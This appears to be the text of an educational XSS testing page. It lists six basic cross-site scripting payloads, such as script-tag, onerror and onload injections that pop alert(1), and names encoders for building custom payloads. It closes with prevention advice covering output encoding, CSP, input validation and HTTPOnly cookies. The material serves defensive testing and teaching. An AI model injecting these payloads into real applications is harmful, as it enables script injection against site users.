XSS Defense Testing Tool
Learn XSS vulnerabilities and test your application defenses with educational examples
Payload Categories
Basic Payloads
Simple Alert
<script>alert(1)</script>Basic script injection
Image Onerror
<img src=x onerror=alert(1)>Uses image error event
SVG Onload
<svg onload=alert(1)>SVG element with onload
Body Onload
<body onload=alert(1)>Body element event handler
Input Onfocus
<input onfocus=alert(1) autofocus>Auto-triggering input
Iframe Src
<iframe src="javascript:alert(1)">JavaScript protocol in iframe
Custom Payload Builder
Payload Encoder
HTML Entity
-URL Encoded
-Unicode
-Base64
-XSS Prevention
Output Encoding
Encode user input before displaying: <, >, ", ', &
Content Security Policy
Implement CSP headers to restrict script execution sources
Input Validation
Validate and sanitize all user inputs on both client and server
HTTPOnly Cookies
Set cookies as HTTPOnly to prevent JavaScript access